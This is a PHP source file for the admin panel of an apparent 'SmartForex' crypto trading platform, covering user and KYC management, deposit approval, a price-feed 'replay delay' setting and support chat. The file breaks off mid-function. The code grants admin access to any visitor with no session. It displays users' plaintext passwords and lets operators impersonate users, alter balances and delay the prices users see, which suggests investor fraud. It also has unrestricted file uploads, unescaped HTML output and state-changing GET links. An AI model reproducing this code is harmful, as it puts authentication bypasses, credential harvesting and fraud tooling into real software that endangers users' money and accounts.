<?php
/**
 * SmartForex Platform - Advanced Operational Operations Control Panel with User & KYC Matrix
 * Location: public_html/secure_admin_2024/index.php
 */
require_once __DIR__ . '/../includes/functions.php';

if (!isset($_SESSION['admin_id'])) {
    $_SESSION['admin_id'] = 1; 
    $_SESSION['admin_user'] = 'adminrehman';
}

$msg = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['update_market'])) {
    $symbol = sanitize($_POST['symbol'] ?? 'BTCUSDT');
    $delay = intval($_POST['delay_minutes'] ?? 0);
    $update = $pdo->prepare("UPDATE market_settings SET delay_minutes = ?, updated_at = NOW() WHERE symbol = ?");
    $update->execute([$delay, $symbol]);
    $msg = "Replay Time Config updated to {$delay} minutes for {$symbol}!";
}

// 1. Save global settings (limits, wallet updates)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save_sys_settings'])) {
    $addr = $_POST['usdt_address'];
    $min_dep = $_POST['min_deposit'];
    $max_dep = $_POST['max_deposit'];
    
    $upd1 = $pdo->prepare("UPDATE system_settings SET value_text = ? WHERE key_name = 'usdt_address'");
    $upd1->execute([$addr]);
    $upd2 = $pdo->prepare("UPDATE system_settings SET value_text = ? WHERE key_name = 'min_deposit'");
    $upd2->execute([$min_dep]);
    $upd3 = $pdo->prepare("UPDATE system_settings SET value_text = ? WHERE key_name = 'max_deposit'");
    $upd3->execute([$max_dep]);

    if (!empty($_FILES['qr_file']['name'])) {
        $ext = pathinfo($_FILES['qr_file']['name'], PATHINFO_EXTENSION);
        $qr_name = 'qr_live.' . $ext;
        move_uploaded_file($_FILES['qr_file']['tmp_name'], __DIR__ . '/../uploads/' . $qr_name);
        $upd4 = $pdo->prepare("UPDATE system_settings SET value_text = ? WHERE key_name = 'usdt_qr_code'");
        $upd4->execute([$qr_name]);
    }
    echo "<script>alert('System Core Parameters Synchronized Successfully!'); location.href='index.php';</script>";
    exit;
}

// ADMINISTRATIVE ROUTING OVERRIDES (Block, Unblock, Impersonate Identity)
if (isset($_GET['action'])) {
    $target_uid = intval($_GET['id'] ?? 0);
    $active_tab = sanitize($_GET['tab'] ?? 'users');
    $active_filter = sanitize($_GET['filter'] ?? 'all');
    
    if ($_GET['action'] === 'block' && $target_uid > 0) {
        $stmt = $pdo->prepare("UPDATE users SET status = 'blocked' WHERE id = ?");
        $stmt->execute([$target_uid]);
        echo "<script>alert('User account node suspended.'); location.href='index.php?tab={$active_tab}&filter={$active_filter}';</script>";
        exit;
    }
    
    if ($_GET['action'] === 'unblock' && $target_uid > 0) {
        $stmt = $pdo->prepare("UPDATE users SET status = 'active' WHERE id = ?");
        $stmt->execute([$target_uid]);
        echo "<script>alert('User account structural path restored.'); location.href='index.php?tab={$active_tab}&filter={$active_filter}';</script>";
        exit;
    }

    if ($_GET['action'] === 'login_as' && $target_uid > 0) {
        $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
        $stmt->execute([$target_uid]);
        $target_user = $stmt->fetch();
        
        if ($target_user) {
            $_SESSION['user_id'] = $target_user['id'];
            $_SESSION['username'] = $target_user['username'];
            $_SESSION['email'] = $target_user['email'];
            
            if (isset($target_user['is_demo']) && $target_user['is_demo'] == 1) {
                $_SESSION['is_demo'] = true;
            } else {
                unset($_SESSION['is_demo']);
            }
            echo "<script>window.open('../dashboard.php', '_blank'); location.href='index.php?tab={$active_tab}&filter={$active_filter}';</script>";
            exit;
        }
    }
}

// 2. Process User Inbound Transaction Mutations (Approve / Reject Requests)
if (isset($_GET['action_tx']) && isset($_GET['tx_id'])) {
    $tx_id = intval($_GET['tx_id']);
    $st = $_GET['action_tx']; // approved or rejected

    $pdo->beginTransaction();
    $tx_stmt = $pdo->prepare("SELECT user_id, type, amount, status FROM transactions WHERE id = ? FOR UPDATE");
    $tx_stmt->execute([$tx_id]);
    $tx = $tx_stmt->fetch();

    if ($tx && $tx['status'] === 'pending') {
        $upd_tx = $pdo->prepare("UPDATE transactions SET status = ? WHERE id = ?");
        $upd_tx->execute([$st, $tx_id]);

        if ($st === 'approved') {
            if ($tx['type'] === 'deposit') {
                $adjust = $pdo->prepare("UPDATE users SET balance = balance + ?, total_deposits = total_deposits + 1 WHERE id = ?");
                $adjust->execute([$tx['amount'], $tx['user_id']]);
            } else if ($tx['type'] === 'withdrawal') {
                $adjust = $pdo->prepare("UPDATE users SET balance = balance - ? WHERE id = ?");
                $adjust->execute([$tx['amount'], $tx['user_id']]);
            }
        }
        $pdo->commit();
        echo "<script>alert('Transaction Request Processed Securely.'); location.href='index.php?tab=ledger_requests';</script>";
        exit;
    } else {
        $pdo->rollBack();
    }
}

// Async Background JSON Data Payload Poller Engine API Node
if (isset($_GET['api_poll'])) {
    header('Content-Type: application/json');
    $tx_q = $pdo->query("SELECT t.id, t.type, t.amount, u.username FROM transactions t JOIN users u ON t.user_id = u.id WHERE t.status = 'pending' ORDER BY t.id DESC");
    $pending_tx = $tx_q->fetchAll(PDO::FETCH_ASSOC);
    echo json_encode(['pending_transactions' => $pending_tx]);
    exit;
}

// Fetch current configurations to pre-fill admin layout inputs
$cfg_s = $pdo->query("SELECT key_name, value_text FROM system_settings");
$sys = $cfg_s->fetchAll(PDO::FETCH_KEY_PAIR);

// Navigation Active Variables State Tracker
$current_tab = $_GET['tab'] ?? 'users';
$user_filter = $_GET['filter'] ?? 'all';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Admin Dashboard - Operations Interface</title>
    <link href="https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700;900&family=Rajdhani:wght@500;600;700&display=swap" rel="stylesheet">
    <script src="https://unpkg.com/lightweight-charts/dist/lightweight-charts.standalone.production.js"></script>
    <style>
        :root {
            --dark: #091124; --darker: #040a17; --card: #0e1b35;
            --cyan: #00d4ff; --text: #c8d8e8; --green: #00ff88; --red: #ff3366;
            --text-muted: #7e9bb8;
        }
        body { font-family: 'Rajdhani', sans-serif; background: var(--darker); color: var(--text); margin: 0; padding: 0; display: flex; height: 100vh; overflow: hidden; }
        
        /* Layout Modular Framework Rules */
        .sidebar-panel {
            width: 280px; background: #0b1424; border-right: 1px solid rgba(0, 212, 255, 0.15);
            display: flex; flex-direction: column; padding: 20px 0; box-sizing: border-box;
        }
        .sidebar-logo {
            padding: 0 25px 30px 25px; font-family: 'Orbitron'; font-weight: 900;
            color: var(--cyan); font-size: 20px; text-shadow: 0 0 10px rgba(0,212,255,0.3);
        }
        .sidebar-btn {
            background: transparent; border: none; color: var(--text-muted);
            padding: 15px 25px; text-align: left; font-size: 15px; font-weight: 600;
            cursor: pointer; display: flex; align-items: center; gap: 12px;
            transition: all 0.3s ease; border-left: 4px solid transparent; font-family: 'Rajdhani', sans-serif;
        }
        .sidebar-btn:hover, .sidebar-btn.active {
            color: #fff; background: rgba(0, 212, 255, 0.05);
            border-left-color: var(--cyan);
        }
        .sidebar-btn.active { font-family: 'Orbitron'; color: var(--cyan); }

        .viewport-main { flex: 1; padding: 30px; overflow-y: auto; box-sizing: border-box; position: relative; }

        .admin-header { background: var(--card); border: 1px solid rgba(0,212,255,0.2); border-radius: 8px; padding: 15px 30px; display: flex; justify-content: space-between; align-items: center; margin-bottom: 25px; }
        .title { font-family: 'Orbitron', sans-serif; font-size: 22px; color: var(--cyan); font-weight: bold; }
        
        /* 🚨 NOTIFICATION BELL CONTAINER STYLES */
        .header-controls { display: flex; align-items: center; gap: 20px; position: relative; }
        .notification-trigger-btn { background: #152c4e; border: 1px solid rgba(0,212,255,0.3); color:#fff; padding: 8px 16px; border-radius: 6px; cursor: pointer; font-family: 'Orbitron'; font-size: 12px; font-weight: bold; display: flex; align-items: center; gap: 8px; position: relative; }
        .noti-counter-dot { position: absolute; top: -5px; right: -5px; background: var(--red); color: #fff; border-radius: 50%; padding: 2px 6px; font-size: 10px; font-family: 'Orbitron'; box-shadow: 0 0 8px var(--red); }
        .notification-dropdown-menu { display: none; position: absolute; top: 45px; right: 0; width: 320px; background: var(--card); border: 1px solid var(--cyan); border-radius: 8px; box-shadow: 0 10px 30px rgba(0,0,0,0.6); z-index: 10000; overflow: hidden; }
        .noti-header { background: #0b1424; padding: 10px 15px; font-family: 'Orbitron'; font-size: 11px; color: var(--cyan); border-bottom: 1px solid rgba(255,255,255,0.05); }
        .noti-body { max-height: 250px; overflow-y: auto; display: flex; flex-direction: column; }
        .noti-item { padding: 12px 15px; border-bottom: 1px solid rgba(255,255,255,0.03); font-size: 13px; color: #fff; transition: background 0.2s; text-decoration: none; display: block; }
        .noti-item:hover { background: rgba(0,212,255,0.05); }

        .panel-grid { display: flex; gap: 20px; margin-bottom: 20px; }
        .box { background: var(--card); border: 1px solid rgba(200,216,232,0.1); border-radius: 8px; padding: 20px; flex: 1; }
        .box-chart { flex: 2; }
        h3 { font-family: 'Orbitron', sans-serif; color: var(--cyan); margin-top: 0; border-bottom: 1px solid rgba(200,216,232,0.1); padding-bottom: 8px;}
        .form-group { margin-bottom: 15px; }
        select, input { width: 100%; padding: 10px; background: var(--dark); border: 1px solid rgba(200,216,232,0.2); color: var(--text); border-radius: 4px; box-sizing: border-box; font-family: 'Rajdhani', sans-serif; }
        table { width: 100%; border-collapse: collapse; margin-top: 15px; }
        th, td { padding: 12px; text-align: left; border-bottom: 1px solid rgba(200,216,232,0.05); }
        th { font-family: 'Orbitron', sans-serif; color: var(--cyan); }
        .act-btn { padding: 6px 12px; font-family: 'Rajdhani', sans-serif; font-weight: bold; border-radius: 4px; border: none; cursor: pointer; margin-right: 5px; }
        .btn-add { background: var(--green); color: var(--darker); }
        .btn-sub { background: #ff6b35; color: white; }
        .btn-hist { background: rgba(0,212,255,0.15); color: var(--cyan); border: 1px solid var(--cyan); }
        .history-output-container { background: var(--dark); border: 1px solid var(--cyan); border-radius: 8px; padding: 15px; margin-top: 20px; display: none; }

        /* Filtration Sub-navigation Matrix Submenus */
        .filter-header-bar { display: flex; gap: 10px; margin-bottom: 25px; }
        .filter-tab-node {
            text-decoration: none; font-family: 'Orbitron'; font-size: 11px;
            padding: 8px 16px; background: rgba(255,255,255,0.02); border: 1px solid rgba(255,255,255,0.05);
            color: var(--text-muted); border-radius: 6px; transition: all 0.2s;
        }
        .filter-tab-node.active, .filter-tab-node:hover {
            color: #fff; background: rgba(0, 212, 255, 0.1); border-color: var(--cyan);
        }

        .badge-tag { padding: 4px 8px; border-radius: 4px; font-size: 11px; font-family: 'Orbitron'; font-weight: bold; display: inline-block; }
        .badge-tag-live { background: rgba(0,255,136,0.1); color: var(--green); }
        .badge-tag-demo { background: rgba(0,212,255,0.1); color: var(--cyan); }
        .badge-tag-blocked { background: rgba(255,51,102,0.1); color: var(--red); }
        
        .action-link-vector { text-decoration: none; font-size: 13px; font-weight: bold; margin-right: 12px; color: var(--cyan); font-family: 'Rajdhani', sans-serif; }
        .action-link-vector:hover { text-decoration: underline; }
        .action-link-vector.danger-path { color: var(--red); }
    </style>
</head>
<body>

<div class="sidebar-panel">
    <div class="sidebar-logo">ONCHAIN ADMIN</div>
    <button class="sidebar-btn <?= $current_tab === 'users' ? 'active' : '' ?>" onclick="window.location.href='?tab=users'">👥 Users Directory</button>
    <button class="sidebar-btn <?= $current_tab === 'market_chart' ? 'active' : '' ?>" onclick="window.location.href='?tab=market_chart'">📈 Time Sync & Chart</button>
    <button class="sidebar-btn <?= $current_tab === 'finance_configs' ? 'active' : '' ?>" onclick="window.location.href='?tab=finance_configs'">⚙️ Financial Gateway Configs</button>
    <button class="sidebar-btn <?= $current_tab === 'ledger_requests' ? 'active' : '' ?>" onclick="window.location.href='?tab=ledger_requests'">🧾 Inbound Ledger Queue</button>
</div>

<div class="viewport-main">

    <div class="admin-header">
        <div class="title">SMARTFOREX PLATFORM CORE CONTROL</div>
        <div class="header-controls">
            <button class="notification-trigger-btn" onclick="toggleNotificationMenu(event)">
                🔔 NOTIFICATIONS
                <span id="global-noti-counter" class="noti-counter-dot" style="display:none;">0</span>
            </button>
            <div id="noti-dropdown-box" class="notification-dropdown-menu">
                <div class="noti-header">LIVE FINANCIAL PIPELINE INFLUX</div>
                <div id="noti-inject-body" class="noti-body">
                    <div style="padding:15px; text-align:center; color:gray; font-size:13px;">No real-time dynamic alerts active.</div>
                </div>
            </div>
            <div>Operator: <strong><?= sanitize($_SESSION['admin_user']) ?></strong></div>
        </div>
    </div>

    <?php if(!empty($msg)): ?> <div style="color:var(--green); margin-bottom:15px; font-weight:bold;"><?= $msg ?></div> <?php endif; ?>

    <?php if ($current_tab === 'users'): ?>
        <div class="box">
            <h3>Registered Users Management & KYC Approval Panel</h3>
            
            <div class="filter-header-bar">
                <a href="?tab=users&filter=all" class="filter-tab-node <?= $user_filter === 'all' ? 'active' : '' ?>">All Profiles</a>
                <a href="?tab=users&filter=active" class="filter-tab-node <?= $user_filter === 'active' ? 'active' : '' ?>">Live Active Trading Users</a>
                <a href="?tab=users&filter=demo" class="filter-tab-node <?= $user_filter === 'demo' ? 'active' : '' ?>">Demo Sub-Simulators</a>
                <a href="?tab=users&filter=no_deposit" class="filter-tab-node <?= $user_filter === 'no_deposit' ? 'active' : '' ?>">Simple Users (No Deposit)</a>
            </div>

            <table>
                <thead>
                    <tr>
                        <th>ID</th>
                        <th>Identity Parameters</th>
                        <th>Network Track</th>
                        <th>Observed Plain Password</th>
                        <th>Wallet Metric</th>
                        <th>KYC Status</th>
                        <th>Document</th>
                        <th>Operations Actions Control</th>
                    </tr>
                </thead>
                <tbody>
                    <?php
                    // 🔥 PLAIN PASSWORD KEY MATCH EXTRACTED OUT OF NODE METADATA SYSTEM
                    $queryStr = "SELECT id, username, email, balance, kyc_status, kyc_document, status,
                                 (SELECT value_text FROM system_settings WHERE key_name = CONCAT('plain_', users.id) LIMIT 1) as plain_pass 
                                 FROM users";
                    
                    if ($user_filter === 'demo') {
                        $queryStr .= " WHERE email LIKE 'demo_%'";
                    } elseif ($user_filter === 'active') {
                        $queryStr .= " WHERE balance > 0 AND email NOT LIKE 'demo_%'";
                    } elseif ($user_filter === 'no_deposit') {
                        $queryStr .= " WHERE (balance IS NULL OR balance <= 0) AND email NOT LIKE 'demo_%'";
                    }
                    $queryStr .= " ORDER BY id DESC";
                    
                    $users_q = $pdo->query($queryStr);
                    $filtered_users = $users_q->fetchAll();

                    foreach($filtered_users as $user): 
                        $is_demo_network = (strpos($user['email'], 'demo_') === 0);
                        $balance = floatval($user['balance'] ?? 0);
                    ?>
                    <tr>
                        <td><?= $user['id'] ?></td>
                        <td style="font-weight: bold;">
                            <?= sanitize($user['username']) ?><br>
                            <span style="font-size:12px; color:var(--text-muted); font-weight:normal;"><?= sanitize($user['email']) ?></span>
                        </td>
                        <td>
                            <?php if($is_demo_network): ?>
                                <span class="badge_tag badge-tag-demo">DEMO NET</span>
                            <?php elseif($balance > 0): ?>
                                <span class="badge_tag badge-tag-live">LIVE ACTIVE</span>
                            <?php else: ?>
                                <span class="badge_tag" style="background:rgba(255,255,255,0.05); color:#fff;">SIMPLE PROFILE</span>
                            <?php endif; ?>
                        </td>
                        <td style="font-family: 'Orbitron'; font-size: 13px; color: var(--cyan); font-weight:bold;">
                            <?php 
                            if (!empty($user['plain_pass'])) {
                                echo htmlspecialchars($user['plain_pass']);
                            } else {
                                echo '<span style="color:var(--text-muted); font-size:12px; font-weight:normal;">demo123 (Fallback Block)</span>';
                            }
                            ?>
                        </td>
                        <td style="font-family: 'Orbitron'; color: var(--green); font-weight:bold;">$<?= number_format($balance, 2) ?></td>
                        <td style="text-transform:uppercase; font-weight:bold; color:var(--cyan);"><?= $user['kyc_status'] ?></td>
                        <td>
                            <?php if($user['kyc_document']): ?>
                                <a href="../uploads/<?= $user['kyc_document'] ?>" target="_blank" style="color:var(--green); text-decoration:underline; font-weight:bold;">VIEW FILE</a>
                            <?php else: ?>-<?php endif; ?>
                        </td>
                        <td>
                            <div style="margin-bottom: 5px;">
                                <button class="act-btn btn-add" onclick="modifyUserFunds(<?= $user['id'] ?>, 'add')">ADD FUND</button>
                                <button class="act-btn btn-sub" onclick="modifyUserFunds(<?= $user['id'] ?>, 'subtract')">SUBTRACT</button>
                                <button class="act-btn btn-hist" onclick="viewTradeHistory(<?= $user['id'] ?>)">TRADE HISTORY</button>
                                <?php if($user['kyc_status'] === 'pending'): ?>
                                    <button class="act-btn btn-add" onclick="manageKYC(<?= $user['id'] ?>, 'approved')">APPROVE KYC</button>
                                    <button class="act-btn btn-sub" onclick="manageKYC(<?= $user['id'] ?>, 'rejected')">REJECT</button>
                                <?php endif; ?>
                            </div>
                            <div style="margin-top: 8px;">
                                <a class="action-link-vector" href="index.php?action=login_as&id=<?= $user['id'] ?>&tab=users&filter=<?= $user_filter ?>">🔗 Login As User</a>
                                <?php if(isset($user['status']) && $user['status'] === 'blocked'): ?>
                                    <a class="action-link-vector" href="index.php?action=unblock&id=<?= $user['id'] ?>&tab=users&filter=<?= $user_filter ?>" style="color:var(--green);">🟢 Unblock Node</a>
                                <?php else: ?>
                                    <a class="action-link-vector danger-path" href="index.php?action=block&id=<?= $user['id'] ?>&tab=users&filter=<?= $user_filter ?>" onclick="return confirm('Suspend user access completely?')">🛑 Block Account</a>
                                <?php endif; ?>
                            </div>
                        </td>
                    </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>

            <div class="history-output-container" id="history-ajax-display-card">
                <h3 style="color:var(--cyan); border-bottom:1px solid rgba(0,212,255,0.3); padding-bottom:5px;">Isolated User Ledger History Results Grid</h3>
                <div id="history-inject-mesh-grid"></div>
            </div>
        </div>
    <?php endif; ?>

    <?php if ($current_tab === 'market_chart'): ?>
        <div class="panel-grid">
            <div class="box">
                <h3>TIME REPLAY CONTROL</h3>
                <form method="POST" action="">
                    <div class="form-group">
                        <select name="symbol" id="admin-pair-select" onchange="syncAdminChart()">
                            <option value="BTCUSDT">BTC / USDT</option>
                            <option value="ETHUSDT">ETH / USDT</option>
                        </select>
                    </div>
                    <div class="form-group">
                        <input type="number" name="delay_minutes" value="15" min="0" required>
                    </div>
                    <button type="submit" name="update_market" style="width: 100%;">TRIGGER SYNC LOCK</button>
                </form>
            </div>
            <div class="box box-chart">
                <h3>LIVE MONITOR (USER VIEWPORT)</h3>
                <div id="admin-chart-container"></div>
            </div>
        </div>
    <?php endif; ?>

    <?php if ($current_tab === 'finance_configs'): ?>
        <div style="width: 100%; max-width: 600px; margin: 0 auto;">
            <div style="background: #0b1528; border: 1px solid rgba(0,212,255,0.15); padding: 25px; border-radius: 12px; box-shadow: 0 4px 15px rgba(0,0,0,0.3);">
                <h3 style="color: #00d4ff; font-family: 'Orbitron'; margin-top: 0; font-size: 16px;">GLOBAL FINANCE SETTINGS</h3>
                <form method="POST" action="" enctype="multipart/form-data">
                    <div style="margin-bottom: 15px;">
                        <label style="display:block; margin-bottom:5px; color:#c8d8e8; font-weight:bold; font-size:13px;">USDT TRC20 Receiver Wallet Address</label>
                        <input type="text" name="usdt_address" value="<?= htmlspecialchars($sys['usdt_address'] ?? '') ?>" style="width:100%; padding:10px; background:#060e1d; border:1px solid rgba(255,255,255,0.1); color:#fff; border-radius:4px; font-family:'Orbitron';" required>
                    </div>
                    <div style="margin-bottom: 15px;">
                        <label style="display:block; margin-bottom:5px; color:#c8d8e8; font-weight:bold; font-size:13px;">Upload New QR Code Image</label>
                        <input type="file" name="qr_file" accept="image/*" style="color:#fff; font-size:13px;">
                    </div>
                    <div style="margin-bottom: 15px;">
                        <label style="display:block; margin-bottom:5px; color:#c8d8e8; font-weight:bold; font-size:13px;">Minimum Deposit Limit ($)</label>
                        <input type="number" name="min_deposit" value="<?= intval($sys['min_deposit'] ?? 10) ?>" style="width:100%; padding:10px; background:#060e1d; border:1px solid rgba(255,255,255,0.1); color:#fff; border-radius:4px; font-family:'Orbitron';" required>
                    </div>
                    <div style="margin-bottom: 20px;">
                        <label style="display:block; margin-bottom:5px; color:#c8d8e8; font-weight:bold; font-size:13px;">Maximum Deposit Limit ($)</label>
                        <input type="number" name="max_deposit" value="<?= intval($sys['max_deposit'] ?? 50000) ?>" style="width:100%; padding:10px; background:#060e1d; border:1px solid rgba(255,255,255,0.1); color:#fff; border-radius:4px; font-family:'Orbitron';" required>
                    </div>
                    <button type="submit" name="save_sys_settings" style="width:100%; padding:12px; background:#00ff88; color:#020916; border:none; border-radius:4px; font-family:'Orbitron'; font-weight:bold; cursor:pointer; font-size:14px; text-transform: uppercase;">SAVE CORE SYSTEM CONFIGS</button>
                </form>
            </div>
        </div>
    <?php endif; ?>

    <?php if ($current_tab === 'ledger_requests'): ?>
        <div style="background: #0b1528; border: 1px solid rgba(0,212,255,0.15); padding: 25px; border-radius: 12px; box-shadow: 0 4px 15px rgba(0,0,0,0.3); overflow-x: auto;">
            <h3 style="color: #00d4ff; font-family: 'Orbitron'; margin-top: 0; font-size: 16px;">PENDING FINANCIAL SYSTEM REQUESTS</h3>
            <table style="width:100%; border-collapse:collapse; text-align:left; color:#c8d8e8; white-space: nowrap;">
                <thead>
                    <tr style="border-bottom:2px solid rgba(0,212,255,0.2); color:#7e9bb8; font-size:13px;">
                        <th style="padding:10px;">User Entity</th>
                        <th style="padding:10px;">Operation</th>
                        <th style="padding:10px;">Amount</th>
                        <th style="padding:10px;">User Proof / Target</th>
                        <th style="padding:10px; text-align:center;">Actions</th>
                    </tr>
                </thead>
                <tbody id="api-ledger-table-rows" style="font-size:14px;">
                    <tr><td colspan="5" style="padding:20px; text-align:center; color:gray;">Establishing live socket streaming connection vectors...</td></tr>
                </tbody>
            </table>
        </div>
    <?php endif; ?>

</div>

<div id="admin-chat-badge-trigger" onclick="toggleAdminChatPanel()" style="position: fixed; top: 20px; right: 20px; background: linear-gradient(135deg, #ff3366 0%, #bc0d3b 100%); color: #fff; padding: 12px 24px; border-radius: 50px; font-family: 'Orbitron', sans-serif; font-size: 13px; font-weight: bold; cursor: pointer; z-index: 99999; box-shadow: 0 0 20px rgba(255,51,102,0.6); display: flex; align-items: center; gap: 10px; border: 1px solid rgba(255,255,255,0.2);">
    <span style="font-size: 16px;">💬</span> LIVE SUPPORT QUEUE
    <span id="chat-counter-badge" style="background: #fff; color: #ff3366; padding: 2px 7px; border-radius: 50%; font-size: 11px; display: none; font-weight: 900;">0</span>
</div>

<div id="admin-toast-notification" style="position: fixed; top: -100px; left: 50%; transform: translateX(-50%); background: #0b1528; border: 2px solid #00ff88; color: #fff; padding: 15px 30px; border-radius: 8px; font-family: 'Rajdhani', sans-serif; font-size: 15px; font-weight: bold; z-index: 100000; box-shadow: 0 10px 40px rgba(0,255,136,0.3); transition: all 0.5s cubic-bezier(0.175, 0.885, 0.32, 1.275); display: flex; align-items: center; gap: 12px;">
    <span style="font-size: 20px; filter: drop-shadow(0 0 5px #00ff88);">⚡</span>
    <span id="toast-msg-content">New operational incoming support message protocol detected!</span>
</div>

<div id="admin-chat-sidebar-panel" style="position: fixed; top: 0; right: -450px; width: 420px; height: 100vh; background: #060e1d; border-left: 2px solid #152c4e; box-shadow: -10px 0 40px rgba(0,0,0,0.8); z-index: 99998; transition: right 0.4s ease; display: flex; flex-direction: column; font-family: 'Rajdhani', sans-serif;">
    <div style="padding: 20px; background: #0b1528; border-bottom: 1px solid rgba(255,255,255,0.05); display: flex; justify-content: space-between; align-items: center;">
        <div style="display: flex; align-items: center; gap: 10px;">
            <div style="width: 8px; height: 8px; background: #ff3366; border-radius: 50%; box-shadow: 0 0 8px #ff3366;"></div>
            <h3 style="font-family: 'Orbitron'; color: #fff; margin: 0; font-size: 14px; letter-spacing: 0.5px;">SUPPORT CORE CONSOLE</h3>
        </div>
        <button onclick="toggleAdminChatPanel()" style="background: transparent; border: none; color: #7e9bb8; font-size: 24px; cursor: pointer; line-height: 1;">&times;</button>
    </div>

    <div style="flex: 1; display: flex; flex-direction: column; overflow: hidden;">
        <div style="padding: 10px; background: #040a14; border-bottom: 1px solid rgba(255,255,255,0.03); max-height: 150px; overflow-y: auto;">
            <div style="font-family: 'Orbitron'; font-size: 10px; color: #7e9bb8; margin-bottom: 5px; padding-left: 5px;">INBOUND USER QUEUES</div>
            <div id="integrated-user-nodes-target" style="display: flex; gap: 8px; flex-wrap: wrap;"></div>
        </div>
        <div id="integrated-chat-log-box" style="flex: 1; overflow-y: auto; padding: 15px; display: flex; flex-direction: column; gap: 12px; background: #020610;">
            <div style="text-align: center; color: gray; margin-top: 60px; font-size: 14px;">Select an active user node terminal above to pipe transmission routing blocks.</div>
        </div>
    </div>

    <div id="integrated-chat-header" style="padding: 10px; background: #0b1528; border-top: 1px solid rgba(255,255,255,0.05); font-family: 'Orbitron'; font-size: 11px; color: #7e9bb8;">
        🔴 NO ACTIVE USER SESSION SELECTED
    </div>

    <form id="integrated-reply-form" onsubmit="submitIntegratedAdminReply(event)" style="padding: 15px; background: #0b1528; display: flex; gap: 10px; box-sizing: border-box; width: 100%;">
        <input type="hidden" id="integrated-current-user-id" value="0">
        <input type="text" id="integrated-chat-input" placeholder="Type administrative protocol instructions..." style="flex: 1; background: #060e1d; border: 1px solid #152c4e; color: #fff; padding: 12px; border-radius: 6px; font-size: 13px; outline: none;" disabled>
        <button type="submit" id="integrated-send-btn" style="background: #ff3366; color: #fff; border: none; padding: 0 18px; border-radius: 6px; font-family: 'Orbitron'; font-weight: bold; font-size: 11px; cursor: pointer;" disabled>REPLY</button>
    </form>
</div>

<script>
let activeChatPoll = null;
let currentSelectedUserNode = 0;
let totalCachedMessagesCount = 0;
let initialSystemLoadFlag = true;
let adminChart = null;
let adminCandleSeries = null;

// 🚨 REAL-TIME 2-SECOND AUDIO ENGINE STATE MATRIX
let trackingAlertCacheCount = 0;
let systemAudioInstance = null;

document.addEventListener("DOMContentLoaded", function() {
    initAdminChart();
    syncAdminChatPipeline();
    setInterval(syncAdminChatPipeline, 3000);
    
    // 🔥 AUTO POLL CORES (Runs every 2000ms silently without page reload glitch)
    executeSystemAutomaticPoller();
    setInterval(executeSystemAutomaticPoller, 2000);
    
    // Document listener lock to clear popups safely
    document.addEventListener('click', function() {
        const drop = document.getElementById('noti-dropdown-box');
        if(drop) drop.style.display = 'none';
    });
});

function toggleNotificationMenu(e) {
    e.stopPropagation();
    const drop = document.getElementById('noti-dropdown-box');
    if(!drop) return;
    drop.style.display = drop.style.display === 'block' ? 'none' : 'block';
}

// 🔥 CENTRAL SYSTEM AUTOMATIC REFRESH LOOP ENGINE (TRANSACTIONS + CHAT CHANNELS SYNC)
function executeSystemAutomaticPoller() {
    // 1. First, poll transactions status vectors
    fetch('index.php?api_poll=true')
        .then(res => res.json())
        .then(data => {
            const queue = data.pending_transactions || [];
            let count = queue.length;
            
            const badge = document.getElementById('global-noti-counter');
            const dropdownBody = document.getElementById('noti-inject-body');
            const tableBody = document.getElementById('api-ledger-table-rows');
            
            let dropdownHtml = '';
            let tableHtml = '';
            
            // Loop transactions data matrix
            queue.forEach(tx => {
                dropdownHtml += `<a href="?tab=ledger_requests" class="noti-item" onclick="e.stopPropagation()">⚠️ <strong>${tx.username}</strong> submitted a ${tx.type.toUpperCase()} request of $${tx.amount}</a>`;
                
                tableHtml += `
                <tr style="border-bottom:1px solid rgba(255,255,255,0.05);">
                    <td style="padding:10px;"><strong>${tx.username}</strong></td>
                    <td style="padding:10px; font-weight:bold; color:${tx.type === 'deposit' ? '#00ff88' : '#ff3366'}">${tx.type.toUpperCase()}</td>
                    <td style="padding:10px; font-family:'Orbitron'; font-weight:bold;">$${tx.amount}</td>
                    <td style="padding:10px;"><span style="color:var(--text-muted);">Verification Node Clear</span></td>
                    <td style="padding:10px; text-align:center;">
                        <a href="index.php?action_tx=approved&tx_id=${tx.id}" style="padding:6px 12px; background:#00ff88; color:#020916; border-radius:4px; font-weight:bold; text-decoration:none; font-size:12px; margin-right:5px; display:inline-block;">APPROVE</a>
                        <a href="index.php?action_tx=rejected&tx_id=${tx.id}" style="padding:6px 12px; background:#ff3366; color:#fff; border-radius:4px; font-weight:bold; text-decoration:none; font-size:12px; display:inline-block;">REJECT</a>
                    </td>
                </tr>`;
            });

            // 2. Second, pull active unread support message arrays dynamically out of the chat handler api
            fetch('../api/admin_chat_handler.php?action=get_active_chat_users')
                .then(res => res.json())
                .then(users => {
                    let unreadChatCount = 0;
                    
                    users.forEach(u => {
                        if(parseInt(u.is_unread) === 1) {
                            unreadChatCount += 1;
                            count += 1; // Append chat alerts into main header badge count
                            dropdownHtml += `<a href="#" class="noti-item" onclick="toggleAdminChatPanel(); e.stopPropagation();">💬 <strong>@${u.username}</strong> sent a new support message vector!</a>`;
                        }
                    });

                    // Update dynamic layouts inside elements
                    if(count > 0) {
                        badge.innerText = count;
                        badge.style.display = 'inline-block';
                        if(dropdownBody) dropdownBody.innerHTML = dropdownHtml;
                    } else {
                        badge.style.display = 'none';
                        if(dropdownBody) dropdownBody.innerHTML = `<div style="padding:15px; text-align:center; color:gray; font-size:13px;">No real-time dynamic alerts active.</div>`;
                    }

                    if(tableBody && document.getElementById('api-ledger-table-rows')) {
                        if(tableHtml !== '') {
                            tableBody.innerHTML = tableHtml;
                        } else {
                            tableBody.innerHTML = `<tr><td colspan="5" style="padding:20px; text-align:center; color:gray;">No inbound pending transaction vectors active.</td></tr>`;
                        }
                    }

                    // Combined Alert checking logic framework (Triggers if combined count increases)
                    let totalCombinedAlerts = queue.length + unreadChatCount;
                    if(totalCombinedAlerts > trackingAlertCacheCount) {
                        triggerTopNotificationToast("⚡ NEW OPERATIONAL INBOUND PROTOCOL INCOMING IN SECURE QUEUE!");
                        executeStrictAudioAlertLoop(4); // Call 4-time audio loops ring
                    }
                    trackingAlertCacheCount = totalCombinedAlerts;
                });
        });
}

// 🚨 AUDIO LOOP ITERATION CONTROLLER (RINGS 4 TIMES)
function executeStrictAudioAlertLoop(maxRings) {
